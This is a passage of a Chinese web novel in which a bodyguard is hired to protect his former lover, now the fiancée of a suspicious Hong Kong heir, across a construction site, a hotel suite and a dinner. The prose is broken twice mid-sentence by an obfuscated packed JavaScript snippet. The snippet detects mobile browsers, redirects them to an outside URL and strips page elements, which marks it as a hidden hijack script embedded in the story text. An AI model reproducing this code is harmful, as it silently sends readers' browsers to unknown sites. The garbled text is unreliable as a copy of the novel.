当车窗忽地徐徐降下,他吓了一跳,手指还插在鼻孔里、猛然往后退了一步。 他呆愣愣地看着。 很难说他的惊讶过度,是来自突然降下的车窗,还是车窗后那一张面孔。 那是一张更不应出现在城中村的面孔。 坐在豪车后排,肤似白瓷,戴一副猫眼墨镜,秀丽的唇角微微往上挑,看起来似笑非笑。 男孩手指插着鼻孔待待看着,只觉她好像电影明星。 忽地回过神来,想起害羞似的,一溜烟跑了。 姜堇从后排下车,松闲地倚着车门站着。今日她穿一身珍珠白套裙,裙摆往膝盖以上显得娴雅,长发蓬松地盘着,露出她引以为傲的天鹅颈。 她身为珠宝设计师,对首饰的运用却很克制。 比如第一次展会上见面,她只在左眼下贴一枚小小钻石。比如今天露面,她只在颈间挂一条细细的单颗珍珠链。 她站在这里,像一抹照进盛夏白昼的雪色月光。 陈列站在原处远远地看她,点了根烟,才朝她走过去。 单手插在裤兜里,丝毫不在意把烟雾喷在她秀丽的脸上。 从前他不在姜堇面前抽烟,抽也是站得远远的。 如今却报复似的。 姜堇却丝毫不在意,仍挂着优雅得体的笑。 陈列微眯着眼抽烟的模样看起来有些痞:“怎么找到我的?” “对现在的我来说。”姜堇直言不讳:“不难。” 陈列勾了勾唇角。 “那要是我出国了呢?”他说:“你还怎么找我?” 姜堇笑了笑。 温存或者说落寞的神色只存在于一瞬间,便藏匿进那张毫无瑕疵的面庞。 “你还想怎么样?”陈列主动走过来也是出于懒得跟她废话:“直说。” 姜堇拎着小小手包,那模样看起来竟优雅又乖顺:“跟我去个地方。” “行。”陈列毫不犹豫地点头:“坐你车?” “嗯。” 陈列径直拉开车门上车。他不怎么耐烦的性子到现在还没变,只想把复杂的事情简单解决。 驾驶座上是一个五十上下的老者,鬓角有些花白,但精神看起来很矍铄。陈列坐上后排后,他礼貌朝陈列笑了笑。 姜堇跟着陈列上车,对老者笑笑:“莫叔,麻烦去工地。” “好的姜小姐。” 莫叔大约是港岛人,两人对答之间用的是粤语。 陈列想,语言真是神奇的东西。 从前听姜堇讲标准英式发音的英语,只觉得她高贵典雅。现在第一次听她讲粤语,一把嗓音清寒,又觉得她是瑰行天下的港岛丽人。 无论如何,都与那个破船上的孤女相去甚远。 陈列不欲闲谈,好在莫叔的教养也极严。车厢内无人说话,一时间只听得空调出风口的细微嗡鸣声。 下了车,陈列问姜堇:“去哪里?” 姜堇却道:“可以了。” “到这里就可以了?”陈列反而意外。 “是。”姜堇点头确认:“如果你想走的话,现在就可以走了,我保证不会再去找你。” 她抬腕看一眼那小小的石英钻表。 当分针指向八点时,一辆墨色的库里南分秒不差地开了过来。 车体经过改装,方便一辆轮椅的出入。 姜堇向滕柏仁那边走去。 她与滕柏仁交谈时好像总迁就着他的高度,一只纤手微搭着滕柏仁的肩,微微勾腰。 陈列远远地留在原处,抬眸看一眼眼前。 这是一处建筑工地。 地基已经奠完,钢筋大致搭出楼体轮廓,高耸入云。滕家在世界各处投资的,要么是超五星级酒店,要么是超高端的全管家式公寓住宅。 这里看起来应该是后者。 按理说此时陈列应该离开了。 但他敏锐地觉察出有什么不对。 他环顾四周,草丛,以及工地对面的建筑体,即便以他丰富的经验看来,也并没藏着什么人。 况且国内的治安环境很好,不比他常待的国外,不至于光天化日藏着狙击手。 但陈列就是觉得不对。 无数人夸赞过陈列是他们见过最优秀的保镖,问他的秘诀是什么。陈列很难讲,经验,功夫,这些都很重要,却又不是最重要的。 最重要的其实是某种直觉。 是一种陈列从小被追债炼出的、某种对危险天然的直觉。 此时便是这种直觉,让陈列暂且站在原地。 他远远望着滕柏仁跟姜堇说了几句什么,滕柏仁身后跟着两个穿黑色西装、相貌普通的人,应该是他的保镖。 其中一个走出来,跟着姜堇往工地内走去。 滕柏仁留在原地。 看起来应是他腿脚不方便,姜堇代行了他许多工作上的事物。 姜堇在一楼视察一圈,带一顶白色监理帽,跟旁边的工程负责人说着些什么,那人点头哈腰地郑重拿笔记本记下。 当姜堇经过那毫无遮拦的简易楼梯往二楼而去时。 陈列忽然箭一般跨步冲了出去。 他终于瞧出问题出在哪里。 一根看起来牢固的钢筋,其实摇摇欲坠。 陈列三两步跨过滕柏仁身边,又大跨步上了楼梯。若无经验的人碰上这类情况,会大声疾呼提醒人注意,陈列却知无用,未经专业训练的普通人不可能在瞬间反应过来。 他只是跨上楼梯,攥着姜堇细瘦的腕子猛然一扯。 姜堇后退一步。 那根本就不坚固的钢筋因有人踏上楼梯的震动,轰然坠落。千钧之势,几乎把刚刚干透的水泥地面砸出个巨坑。 一旁的工程负责人脸色都变了:“姜小姐,这……” 姜堇倒是镇定自若:“下去再说。” 一行人下楼,滕柏仁已由另一名保镖护着,撤到更远处去等他们。 姜堇一行走到滕柏仁面前。滕柏仁一手握着轮椅遥控器,看向陈列的眼神不是意外,而是某种玩味地打量。 他问姜堇:“这就是你昨天去见的那位老朋友?” 姜堇点点头:“是。” 滕柏仁疑心极重,她自知瞒不过他,一开始便和盘托出。 更不介意让陈列出现在滕柏仁面前,好似一派的问心无愧。 滕柏仁玩味地打量着陈列:“今天多亏了你。这个房地产项目,本就是我们从外国人手里抢来的。你知道东南亚那边,野嘛,敢在国内玩这套。” 陈列心想:你既然知道,还让你的未婚妻去以身涉险。 他转身欲走,滕柏仁叫住他:“你是做什么职业的?” 陈列眼尾睨过去。 身旁的人围住滕柏仁,总是一副点头哈腰的模样。陈列却懒得搭理,他又不靠滕柏仁给他一口饭吃。 他径直走了。 - 陈列回到日租旅馆。 先是给机场打了个电话,询问航班改签的情况。 机场让他稍后,等了许久才给他回过电话来,如果天气情况无变化的话,航班改至今晚起飞。 陈列平白空出一天。 房间过分逼仄而充满霉味。他懒得待,走出房间,昨晚那特殊行业的女郎白日里懒得招揽生意,倚在墙角吮一根棒棒糖。 陈列发现自己无所事事的时候,就喜欢喂猫。 旅馆没有自己给猫做饭的条件,他去附近超市买了些猫粮,倒出来喂给流浪猫吃。 准备这样消耗掉一个下午,直到一阵“滋——”、“滋——”的电流音传来。 像蛇。 陈列的耳朵动了动,却没抬头。 直到一辆轮椅驶到他面前,他掀起眼皮。 滕柏仁坐在轮椅上。他皮肤总是苍白,在暴雨之后炽烈的日头下,也清寒得不见一丝汗气,脸上的神情似笑非笑。 陈列望向他身后。 滕柏仁道:“她没来,我一个人来的。” 姜堇这个忘恩负义的女人若说有什么优点,大概就是说话算话。 她说不会再来找陈列,就真的不会再来。 除非陈列主动去找她。 陈列站起身,从口袋里摸出一根烟来。脚边的猫早已跑了,陈列把烟点了衔在唇间,眼睛往下居高临下地睨着滕柏仁,那模样看着就带些痞气。 他毫不迂回地问:“找我有事?” 一贯地没耐心。 滕柏仁:“你是她的老朋友?” 陈列揣度了下姜堇现在的身份—— 毛里求斯商贸集团的千金,周游列国,名校出身的知名珠宝设计师。 不知姜堇把同陈列的关系,怎样对滕柏仁说的。 陈列也懒得细想这些,这是人家未来小两口自己的家事。 不过“老朋友”这个称谓还是刺痛了他。 那女人但凡有一点良心的话,还有脸用这样的称谓吗? 陈列抽一口烟,如同他现在不介意把烟雾喷姜堇满脸一样,他也不介意把烟雾喷在这位养尊处优的港岛阔少脸上。 “不是朋友。”他简练地说。 “那是什么?”滕柏仁问。 陈列唇间迸出两个字来:“仇人。” 滕柏仁看他的眼神愈发玩味起来:“为什么是仇人?” 陈列沉默地抽一口烟,开口道:“她骗我的钱。” 滕柏仁看起来并没有震惊,反倒笑了。 他的笑也让人联想起海藻,湿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603204|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漉漉地攀爬人一身。 “是。”滕柏仁点头笑道:“这才是她,我的SweetPoppy。” 陈列以前上学时,理科格外出众,反显得英语没有多好。 反而是到了越南之后,英语有了长足进步。 SweetPoppy的意思是,甜蜜的罂粟。 陈列想起姜堇那清寒中略带妩媚的一张脸来。 滕柏仁问:“你的职业是保镖吗?” 陈列知道他摆明查过自己,却还要故意这样问。 陈列直接说:“不会给你效力。” 滕柏仁:“我知道你躲债躲得很辛苦,至少你跟着我,不会有人胆敢查到滕氏集团来。” 陈列耸了下肩。 他根本不在意。 “不能给我效力的话,那么给你的老朋友、不、老仇人呢?”滕柏仁笑道:“她说,她很想你。” 陈列问:“为什么找我?” “因为你职业素养高咯,像我现在这种处境,她成了挡在我面前的活靶子,一般人护不了她周全。还有,”滕柏仁上下打量着陈列:“你恨她,所以不会喜欢上她。” 陈列笑了。 “我是恨她。”他狠狠抽了口烟:“但我没兴趣接这一单,没兴趣天天给自己添堵。” “那好。”滕柏仁点点头,维持着贵胄的风度:“打扰了。” 保镖远远守在车边,他自己操控着轮椅离去。 陈列望着他背影。 一轮残阳映在天边,硕大的,浑圆的,有一圈毛茸茸的边。江城无论日月都是这般光景,好似被水汽晕染似的,边缘总是毛茸茸的。 让陈列想起和姜堇在臭水河畔、破船甲板上看过的一轮轮夕阳。 陈列叫住滕柏仁:“等一下。” 滕柏仁回头,眼底是志在必得的笑意:“怎么样陈先生,我早知道,恨是比爱更强烈的动力。” “我接。”陈列掐灭烟头:“两倍价钱。” 滕柏仁点头:“冇问题。” - 滕柏仁回到酒店时,姜堇正站在巨幅的景观窗边,抱着双臂看夕阳。 好似自打离开江城后,她再也没见过这般边缘毛茸茸的日月了。 听到刷卡开门声,轮椅轮辙倾轧进来。姜堇没有转身,仍望着窗外的夕阳,嘴里招呼道:“回来了。” 滕柏仁操控着轮椅向她这边而来,一手搭上她腰窝深陷的后腰:“嗯。” “外面热么?”姜堇笑道:“我去给你拿瓶冰过的气泡水。” 不露声色避开滕柏仁的手。 她从冰箱取了气泡水走回来,拧开递给滕柏仁,倚靠在窗沿看滕柏仁仰头灌入。 滕柏仁嗜冰,就连房间空调都一贯打得极低。姜堇刚开始不适应,总冻得浑身发抖。 滕柏仁喝完把绿色玻瓶递回给她,跟她说:“生日快乐。” “今天是我生日?”姜堇笑着理一理肩头垂落的发:“我自己倒忘了。” “我给你准备了一份生日礼物。” “是什么呢?”姜堇的语调里似带三分好奇。 滕家二少从来不是一个小气的人。 姜堇是珠宝设计师,多奢贵的皇室珠宝他也敢送,眼也不眨地从苏富比竞拍回来。 姜堇初初跟在他身边的时候,总忍不住去换算,那些钱能换多少她曾经卖过的扎啤。 算出来吓死人,大概能变一片把她淹死的太平洋。 后来她就不算了。 滕柏仁操控着轮椅往门口驶去,打开门招呼一声:“进来吧。” 走入的并非什么戴白手套捧丝绒盒的工作人员。 而是陈列。 姜堇脸上仍挂着某种昭显期盼的笑意,知道滕柏仁坐在门口,正观察她的每一丝神情变化。 她轻盈地笑着打招呼:“嗨,陈列。” 纤细的手指攥紧了手里的绿玻瓶。 陈列看上去没什么表情。滕柏仁操控着轮椅驶到陈列身边:“我把你的老朋友请来给你当保镖。” “可是他说,他不是你的老朋友,而是仇人。”滕柏仁死死盯着姜堇那张过分出挑的面孔。 姜堇看了陈列一眼,又挑唇去答滕柏仁的话:“都差不多吧。我这样性子的人,朋友处一处都会变成仇人。” 滕柏仁哈哈大笑。 他操纵着轮椅打开门:“你们先聊,我去处理公务。” 一时之间,偌大的总统套房里只剩陈列和姜堇两人。冷气打得极低,似往人的毛孔里钻。 陈列先是下意识抬头环视。 确认逃生通道、足够坚固的掩蔽、以及哪些窗口会暴露在狙击范围内。做完这一切后,他发现姜堇在看着他。 事实上那时两人距离很远。 他立在门口,姜堇站在窗边。两人之间隔着总统套房偌大的空间、隔着埃及长绒地毯、黑曜石茶几、和那一尊不知要价几何的达萨内奇人雕像。 可姜堇在看着他。 陈列的喉节轻滚了下。 他又一次抬眸,这一次是看屋内最隐蔽的角落有没有藏着摄像头和窃听器。滕柏仁固然是出去了,可他不会贸然同姜堇说话。 他又能说什么呢。 他或许应该问:你母亲怎么样了。 或许应该问:你这七年经历了些什么。 或许应该问:你当年逃离宴会厅的时候、哪怕有一次想过回头么。 可他什么都不想问了。因为姜堇一步步走到他面前,挑唇而笑。 “你好,陈生。”她身上奢靡的冷香气扑来,说的是粤语:“你以后可以叫我姜小姐。” 陈列阖了阖眼。 是了,无论他是她的“老朋友”还是仇人,对她来说都无所谓。 因为过去的姜堇已彻底消失了。 现下站在他面前的是姜雪照。 “你可不可以低一低头?”姜堇笑着,吐露的话语却是:“你好像没有资格……这么直愣愣地看着我。” 49. 不熟 滕柏仁一个小时以后回到总统套房的时候,姜堇站在窗前看风景,陈列仍是立在门口,好似从没挪动过。 滕柏仁瞥了陈列一眼,操控轮椅向姜堇那边而去。 “喜欢我送你的生日礼物么?”他问。 姜堇纤白的手指软软搭在他肩头,柔若无骨,笑道:“喜欢极了。” 那时晚霞如织,半轮浓金的夕阳在云层间冒头,被昨晚的暴雨泡得更似晕开水墨。 陈列望一眼天边。 按原计划,他飞往越南的航班此时正因起飞。 或许,这就是命运的安排。 滕柏仁唤姜堇:“楼下餐厅的晚宴已备好,换衣服去吧。” 又转向陈列笑道:“你也准备一下。” 他摁了摁铃,门口一个身材高大的男人应声而入,陈列认出来他是跟在滕柏仁身边其中一个保镖。他叫陈列:“跟我来。” 把陈列领至主卧外的书柜,摸到关窍一推,一间暗室露了出来。 陈列并不意外。 纵使跟滕柏仁打交道的时间有限,他已总结出两个关键信息:一,滕家树大招风,做生意得罪了不少人。 二,滕家二少生性多疑。 这间总统套房既是滕柏仁的“行宫”,有这样一间防火防弹的安全屋并不稀奇。 “你可以叫我龚哲。”保镖自我介绍道:“晚上你住这里,我住隔壁。” “住这里?”到这时陈列微微惊异。 他跟过的老板不少,通常会安排保镖住隔壁房间。这样既能保障安全,又能一定程度维护自己隐私。 把保镖安置在自己主卧边上,陈列还是头一次见。 可见滕柏仁多疑到了何种程度。 陈列问:“我来之前,是你住这里?” 龚哲没正面回答,只用粤语说了句:“滕少很看重姜小姐。” 是了,所以连常年跟在自己身边的保镖也信不过,怕他们觊觎姜堇。 这才找来一个姜堇的“仇人”。 龚哲告诉陈列:“你的身材跟我差不多,里面有套制服,你去换上,一起陪滕少和姜小姐下楼吃饭。” 陈列换好制服出来的时候,正遇上姜堇换好晚礼服从卧室出来。 滕柏仁自窗前转过轮椅来。 很难说是他还是陈列第一眼看到姜堇的。 姜堇独自露面的时候喜欢穿白,利落的西装。但身上这身晚礼服是滕柏仁为她准备的,格外的奢贵明艳,钻光闪闪的鱼尾款式裹住她完美的腰臀比。 浓密的乌发披在肩头,衬出一身的雪肌。她戴一条硕大的钻石项链,陈列自然不认得那是十八世纪的巧匠专为法国皇室打造的。 因这隆重的装束,她只略施粉黛,脸上的粉铺得很薄,没化眼妆也不用口红,只用一层胭脂薄薄点在唇间。因此她一点不显得俗艳,整个人都在发光。 陈列看着,一瞬想起在拳馆端着托盘卖酒、穿一身劣质红裙的她来。 当陈列意识到滕柏仁在盯着他时,他一瞬把视线从姜堇身上移走了。 滕柏仁操控轮椅向姜堇那边去,手臂揽过她纤细的腰线:“好漂亮。” “多谢你了。”姜堇笑着,绕到滕柏仁身后,抬手摁一摁滕柏仁的肩。 恰好避开了滕柏仁对她身体的触碰。 滕柏仁对陈列笑道:“怎么,被她美到了?不要怕,你要习惯跟着她。” 陈列不知这句“不要怕”所为何来,好似美貌是过分巨大的杀伤力。 陈列沉默跟在姜堇身后。 想起姜堇那句“没资格直愣愣看着我”,他垂下眸子,看着姜堇同样钻光闪闪的细高跟鞋。 他本来也不想看姜堇。美吗?在他心中未见得如此,这样的姜堇只让他觉得陌生,他怀念那个赤着双脚站在破船的女孩。 可她已经消失了。 或许当七年前的夜晚,姜堇一路跌跌撞撞狂奔出宴会厅、一次也没有回头的时候,那个女孩在姜堇和陈列心中,都已经死了。 甚至现下姜堇身上的香水味也让陈列感到不适,有种过分浓重的麝香味。 门外滕柏仁的两名保镖候着,龚哲冲陈列点了点头。 滕柏仁和姜堇用餐的时候,一名保镖守在门口,龚哲和陈列坐在另一桌,面前两杯气泡水,与滕柏仁和姜堇不远不近的距离。 这间酒店属于滕氏,姜堇生日这样的日子,餐厅自然包场,门口竖着“今晚满座,敬请谅解”的牌子。 法籍大厨卯足了劲发挥,介绍菜品时一连串叽里咕噜的法语,陈列听不懂,只听见姜堇淡笑着用法语回应“merci(谢谢)”。 对面的龚哲喝一口气泡水。 这时,滕柏仁掏出一只墨蓝丝绒盒子来,推至姜堇面前。 姜堇笑道:“还有礼物?” 滕柏仁:“打开看看。” “哗——”姜堇打开盒子的时候发出一声惊叹,她清冷的声线衬得其中惊喜意味诚意十足。 龚哲冲陈列笑笑,看上去对这样的场面见怪不怪。 滕柏仁问姜堇:“喜欢吗?” 姜堇:“当然。” 滕柏仁:“我替你戴上。” 姜堇笑着把长发拂到一边,把颈上原本戴的钻石项链摘下来,捧着丝绒盒子到滕柏仁面前,微微蹲下身将就轮椅的高度,让滕柏仁替她戴上新的这条海蓝宝。 海蓝宝反射着餐厅奢丽的吊灯,刚好刺进陈列眼底。 陈列抿一口气泡水。 想起七年前姜堇的生日,他过分别扭地不肯把口袋里提前准备好的链子给姜堇。那只是一条再便宜不过的银链子,坠一朵不知名小野花,上面镀的甚至应该不是金。 姜堇把那条链子摸到手里,与他在破船狭窄的木板上汗液纠缠。 “为什么不祝我生日快乐?”姜堇道:“我成年了,才能对你做成年人该做的事。” 她小兽一般,噬吻上陈列的下唇,立刻有种淡淡的血腥气弥散开来,好似进一步鼓噪着船舱内过分浓郁的荷尔蒙味道。 那是他们第一次接吻。 那个夏天的一切都是如斯。狂热,躁动,潮湿,疯狂。 此时他盯着姜堇胸口垂坠的那枚海蓝宝。 现在的她早已不需要一条细细的廉价银链子了。 当晚滕柏仁和姜堇喝了不少酒,红酒瓶上奢侈的写着[1982]字样。 滕柏仁明显有些喝多,由龚哲护送着他和姜堇回房。 龚哲叫陈列:“你先去吃饭,一会儿换班。” 滕柏仁随身携带的保镖有两名,跟车的保镖有两名,更遑论按摩师、医师、法务等一大群随性人员。 酒店有专门的员工餐厅,陈列过去时,正是保镖团队用餐的时间。 龚哲应该是团队里最沉稳的一个,类似队长。他不在,其他人明显放肆些。陈列过去时有人已吃得差不多了,用牙签剔着牙,一副饕足样。 “你们说……”他这开头就起了意味深长的调子:“滕少今晚喝多了,会不会和姜小姐……” 他们擅长功夫,素质谈不上多高,都哄笑起来。 有人接话:“我始终怀疑,滕少的腿都那样了,应该不能……” “嗨你懂什么。”剔牙的那个一挥手:“腿不好的玩得才野呢,不然心理的压抑无处发泄啊。不是有那什么各种花样……” “你们有没有在姜小姐身上看到过……?” “嚯,谁敢!谁要是对姜小姐多看一眼,还不被滕少给撕了。” 陈列沉默咀嚼着碗里的鸡胸肉和蔬菜沙拉。 “喂新来的。”有人粗犷地撞了撞他胳膊:“我们是一边的,可不兴在滕少和姜小姐面前乱说啊。” 陈列睨过去。 大概他眼神太凌厉,未见得露了什么凶相,那人却有种汗毛倒竖之感,瞬间闭了嘴。 陈列继续埋头吃饭。 放在以前,他一定会出声阻止这样的话题。到了现在,就算这话题让他心底再不舒服,他也不会了。 陈列上楼时,龚哲已服侍滕柏仁在主卧躺下。 他守在客厅,姜堇在水吧那边给滕柏仁手磨一杯橙汁。 不知她为何不用电动榨汁机。她手持着刀将一颗柳丁一分为二,拿起半个用力摁在凸起的研磨器上,果肉和汁液迸溅开来。 她好似丝毫不在意果汁溅在她贵得要死的裙子上,抬起手指舔了舔沾上的汁液。 动作有种粗砺的野蛮。 她端着橙汁往回走,一边还舔吮着自己的手指。龚哲跟陈列说:“那我出去了,有事对讲联系。” 姜堇对陈列点点头:“辛苦了。” 便端着橙汁往主卧里走去。 主卧的门开着一隙,在姜堇将它彻底合拢前,陈列望见滕柏仁那寒光闪闪的轮椅,还有King-size巨大鹅绒床的一角。 滕柏仁那样瘦,压在杯子里好似一片纸,几乎感觉不到他的存在。 随着姜堇彻底关上门,主卧泄出的一线澄黄的光彻底消失了。 陈列在陷入黑暗的客厅里站了会儿,转身回了暗室。 这里作为安全屋的配置完善,甚至有独立的洗手间和淋浴。陈列洗了个澡,这才算彻底洗去了日租旅馆残存在皮肤上的味道。 当保镖较为辛苦的一点在于,从不能穿舒适的睡衣。 他睡觉时总穿紧身背心和足以外出的长裤,如真有突发状况,根本没有换衣服的时间。 暗室空间有限,床是一米二的单人床。 对陈列来说这已足够好,他仰躺在床上。这一天发生的事情太多,他在梳理自己的心境变化。 起先他是真打算回绝滕柏仁。 从机场离开时他仍没下定决心。 让他改了主意的,是滕柏仁那一句:“她说,她很想你。” 陈列几乎能想象现在的姜堇是如何说出那句话的—— 她穿不染一丝浮尘的白西装,倚在总统套房巨大的观景窗边,抱着双臂,含着似是而非的笑意:“陈列啊?老朋友了,其实我挺想他的。” 陈列出离愤怒起来: 姜堇是如何在七年前对他做出那种事后,还能若无其事说出这种话来的? 陈列承认,他还是对姜堇好奇了。就像七年前他对白日里在学校文静娴雅、夜晚却红裙滚灼的女孩好奇一样。 只不过这一次他的好奇,是因为恨。 他好奇姜堇这样的女人,是真的没有心么?她现在看起来是如此的刀枪不入,如此的完美无瑕。 陈列想着这些,翻了个身。 这样的她当真没有破绽么?他有办法对她报复回来么? 如果真能这样,陈列想,他就可以毫无留恋的离开了。把七年前的事彻底放下,宛如剜去一块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610087|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腐肉。 陈列没有立刻入睡。当了保镖以后,他对新环境有一种天然的警觉。 胃里当晚吞下的食物在作祟,让他想起晚餐时保镖们对姜堇污言秽语的议论。 他又翻了个身。 滕柏仁喝了橙汁酒醒以后,真会和姜堇做那样的事吗?他的双腿那个样子,又能怎么做? 陈列觉得自己疯了。他甚至荒唐地想:如果滕柏仁和姜堇正在做什么的话,他的暗室和主卧只一墙之隔,他会听到他们的动静吗? 暗室里为安全起见不装空调,闷得有些逼仄。他出薄薄一层汗,又想起当年姜堇与他汗液纠缠的时候,伏在他耳边喃喃喊他的名字:“陈列。” 汗湿的发丝绕在他肌肉偾张的臂膀上。 她也会这样叫滕柏仁的名字吗? 陈列觉得自己真是疯了。他想这些干嘛? 忽地外面有动静。 陈列立刻像只蛰伏的豹一样弹起来,在一片黑暗的掩护下悄无声息推开书柜。 书柜外,竟是姜堇和他面面相觑。 只有一线昏黄的光从暗室里泄出来,客厅绝大部分空间在黑暗里沉睡。姜堇裹一件白丝绸睡袍,站成黑夜里一个模糊的影子。 她当晚喝多了酒,却不显得旖旎,只显得倦怠。抬起一只手来抚着自己侧颈,低声跟陈列说:“不好意思,我忘了你在。” “我只是想来拿本书而已。” “喝了酒反而睡不着。不是说喝了酒应该很好睡么?”她自嘲地笑笑:“你呢,喝了酒好睡么?” 陈列沉默一瞬,答她:“我不喝酒。” “也是。”姜堇挑起的唇角更显自嘲:“你是保镖嘛。” 她跨前一步靠近书柜:“没什么事,我拿本书就走。” 这书架显然是酒店工作人员布置的,都是些古今中外名著和成功学范本。姜堇也没什么可挑的,随手抽了本英文原版的《飘》。 GowiththeWind,《飘》的英文名是“随风而逝”。 当姜堇走入书架前的一片光线里,陈列才发现她卸了妆脸色并不好。并不似十八岁一般饱满鲜活,的确充斥着浓浓的倦怠感。 她始终抬手抚着侧颈,好像有什么东西令她纤细的颈项不堪重负似的。事实上现下她颈间什么都没有,而之前挂着的,是那条大得好似虚假的海蓝宝项链,滕柏仁送她的生日礼物。 陈列嘲讽地笑了笑。 姜堇拎了书离开时朝他看过来,纤细的指尖点了点地面。 陈列不明所以地看了眼。 “我不是说了不要看我么?”姜堇矜曼地笑道:“看地,陈列。” 她纤薄的身影消失在了主卧的门缝间。 - 一周的试用期后,陈列正式成为了姜堇的保镖。 任谁都能看出他对姜堇毫无兴趣,总是冷着张脸公事公办。就连滕柏仁连续观察了他一周后,也得出了这样的结论。 这是当然了,他怎会对她感兴趣? 就算他心底有一丝残存的留恋,也是对当年的姜堇,而不是现在这个戴着虚假面具的姜雪照。 一周之后,他已可以跟着姜堇单独出门了。 当然,姜堇身上有没有被滕柏仁置放着窃听器,这是陈列无法确认的。 姜堇今天去见几位同在江城的港岛阔太,这是她替滕柏仁交际的一环。 两人站在酒店路边,等着接送姜堇的那辆劳斯莱斯开过来。今日暴雨如注,酒店停车场出入口大排长龙,陈列撑着酒店巨大的黑伞站在姜堇身后。 姜堇穿白色西装套裙,拎着手袋的表情似微微出神。 她望着路面因来不及排水而汩汩冒出的水泡。陈列忽然想,他们分开的那年夏天,雨水少得过分,偶尔下两场,便是这样的暴雨。 忽然一辆黑色宾利驶来,大概怕老板等急,司机开得极冲,几乎要还越上候车平台来。 陈列拽着姜堇后退一步。 仍有雨泥污水溅在姜堇裤脚和白色鞋面上,姜堇不甚在意地看了眼,对现在的她来说衣服脏了扔掉就是。只是她这时才回过神来,嘴里好似下意识地唤了声:“陈列……” 也没再多说什么。 陈列发现他给姜堇当保镖最心刺的一点。 不是他日日夜夜要看到姜堇。 甚至不是姜堇和滕柏仁睡在主卧时、他躺在隔壁暗室里那些荒唐的幻想。 而是姜堇会这样唤他:“陈列。” 那声调和语气,一如七年前。 “姜小姐。”这是陈列第一次主动开口同姜堇说话,引得姜堇朝他看过来。 “你说过我现在是你的保镖,所以没资格看你对吧?”陈列道。 “嗯。”姜堇的语调里含着点笑意,眼尾微弯着。 “那我们现在是公对公的关系,互相起码的尊重要有。”陈列:“我叫你一声姜小姐,你是不是不该对我直呼其名?” 姜堇笑了:“叫你名字有什么问题吗?” “我们没有那么熟。” “我们不熟吗?”姜堇反问。 “不熟。”陈列几乎是立刻答道。 他与眼前这位姜雪照小姐,从未相熟过。 姜堇不说话了,又去看眼前的雨幕。当她那辆劳斯莱斯远远开过来时,她望着如线的雨幕说了句粤语: “落雨好厌烦啊,陈生。” 50. 宴会 从此姜堇用粤语叫“陈生”,或者用普通话叫“陈先生”,视她心情而定。 她再没有叫过“陈列”。 私人会所的茶餐厅里,几位贵妇围坐在桌边,茶几上摆着三层精致的茶点和锡兰红茶。 姜堇笑着走过去时,她们立即同姜堇打招呼:“姜小姐。” 这几位从二十几岁到四十几岁,却都对姜堇很尊重,尊重到有些殷切。 滕家的地位可见一斑。 她们聊育儿,聊医美,聊某牌新出了鳄鱼皮的手袋要排队一年才能拿到。姜堇坐在一旁看起来有些兴趣缺缺,但她笑得得体,抿一口红茶,也很能适时加入话题。 直至这些贵妇聊起江城的一个派对。 姜堇笑问:“我也能一起去吗?” “姜小姐也有兴趣大驾光临?”其中一位贵妇显得很惊喜。 姜堇挑唇点头:“陪柏仁在江城监工,简直不知要待多久,人都无聊得要生霉。” “那自然好极,我把帖子递到酒店去。”贵妇喜滋滋地说。 姜堇抿一口红茶,笑着应下。 等到能聊的话题尽数聊完,其中一位的视线转到陈列身上。 滕氏的保镖自然要穿得得体,酷暑的天气里亦是白衬衫配黑西装的正装全套,好在所到之处皆是冷气充足。 陈列垂手交叠,沉默寡言地站在一侧。双腿修长有力,典型的倒三角身材。 贵妇打量陈列一眼,对姜堇道:“姜小姐这位新保镖,我瞧着不太好。” “怎么?”姜堇问。 贵妇笑起来:“太帅了点。保镖不是要相貌平平最好么?才不惹人注目。” 陈列垂眸,盯着姜堇斜斜叠放于桌下的高跟鞋。 “帅么?”姜堇含着笑意、一手撑着侧颊,视线朝陈列投射过去。 这好像是陈列穿正装后,她第一次仔细看陈列。从前陈列在她记忆里,都是穿不入流的黑T配牛仔裤。 姜堇唇边漾开淡淡的弧度,睫毛如蝶翼般轻翕了下:“好像,是挺帅的。” - 贵妇的帖子果然递到酒店来。江城名流的派对,时间定在三天后。 那日傍晚,滕柏仁外出工作,姜堇在主卧的梳妆镜前妆扮。 她已换好了一件低胸晚礼服,是一种介于蔻梢和天水碧之间的颜色。那颜色太娇气,很难穿得好看,可是姜堇够白,有一种早春初融的溪流淌于周身之感。 胸口其实开得很低,但她穿得不媚俗。她自己运用首饰时多有克制,配一条双层的海水珍珠链,反有典雅之感。 她往脸上扑粉的时候,凑近镜面去看。 “陈生。”她说起粤语来显得比普通话沙哑些,问陈列:“你说我是不是老了?” 她用指尖撑一撑眼尾的皮肤。那里未见得有皱纹,可相较于十八岁时的饱满鲜活,她现在有种显而易见的倦态。 陈列不答她的话。她自嘲地笑一笑,松开手指去。 没关系,淡淡上一层妆,她还是那个艳光四射的她。 当陈列陪她在当晚的聚会亮相时,还未辨出她身份,已收获一众惊艳目光。 立刻有男宾问:“那位美女是谁?以前怎么没见过。 “别想啦老兄。”有人嘲道:“那是姜家的千金,滕氏二少的未婚妻,哪里是我们攀折得起的,只怕人家都不会拿正眼看我们。” “姜家?哪个姜家?” “毛里求斯做生意的那个姜家呀!” “哦哦!” 